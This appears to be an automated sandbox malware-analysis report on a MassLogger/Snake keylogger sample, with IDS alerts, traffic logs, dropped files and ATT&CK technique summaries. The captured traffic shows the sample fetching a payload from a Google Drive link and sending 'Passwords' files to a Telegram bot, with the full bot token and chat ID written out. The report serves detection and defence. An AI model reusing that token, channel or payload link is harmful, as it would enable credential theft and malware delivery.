Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:50002 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a2051f68ffHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31c2157956b1Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31d84ced9d6aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31ee72096cabHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3205e599678fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd321be47d524aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32332e7fb6a5Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32464c377f16Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd325ab7612621Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32706e536eceHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3284b98947fbHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd329cff2c8b35Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ae783eaad9Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32c53cdad8c3Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32d9402b67eaHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ed305fb91eHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3301104a174eHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3314dfea71ffHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1

Source: V7OHj6ISEo.exe	Virustotal: Detection: 76%			Perma Link
Source: V7OHj6ISEo.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350C1042h	7_2_350C0C28
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CC985h	7_2_350CC638
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350C0671h	7_2_350C03AF
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CC041h	7_2_350CBD88
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350C1042h	7_2_350C0C1A
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CB791h	7_2_350CB4EC
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350C1042h	7_2_350C0F6F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CEA48h	7_2_350CE79F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CE198h	7_2_350CDEE1
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CBBE9h	7_2_350CB944
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CC499h	7_2_350CC1F2
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CF2F8h	7_2_350CF043
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CB339h	7_2_350CB07F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CE5F0h	7_2_350CE339
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CEEA0h	7_2_350CEBF7
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 350CDD40h	7_2_350CDA89
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D1882Dh	7_2_37D18650
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D191B7h	7_2_37D18650
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then push 00000000h	7_2_37D1BDF0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D116A8h	7_2_37D11400
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D16A68h	7_2_37D167C0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D11250h	7_2_37D10FA8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D14218h	7_2_37D13F70
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D161B8h	7_2_37D15F10
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D13968h	7_2_37D136C0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D15908h	7_2_37D15660
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D130B8h	7_2_37D12E10
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D15058h	7_2_37D14DB0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D12808h	7_2_37D12560
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D17770h	7_2_37D174C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D11F58h	7_2_37D11CB0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D16EC0h	7_2_37D16C18
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D14670h	7_2_37D143C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_37D17B4F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D16610h	7_2_37D16368
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D13DC0h	7_2_37D13B18
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D15D60h	7_2_37D15AB8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D13510h	7_2_37D13268
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D154B0h	7_2_37D15208
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D12C60h	7_2_37D129B8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D123B0h	7_2_37D12108
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D11B00h	7_2_37D11858
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D17318h	7_2_37D17070
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then jmp 37D14ACAh	7_2_37D14820
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then push 00000000h	7_2_3824E7C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then push 00000000h	7_2_3824F316
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	7_2_3824F5D8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49975 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49972 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49970 -> 142.250.186.110:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report V7OHj6ISEo.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Calcimeter.Pop

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Robusticity.Pho

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\prepares.pli

C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nswEC8B.tmp

Static File Info

General

File Icon

Windows Analysis Report
V7OHj6ISEo.exe

Function 004034A5 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405F0D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 75561777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
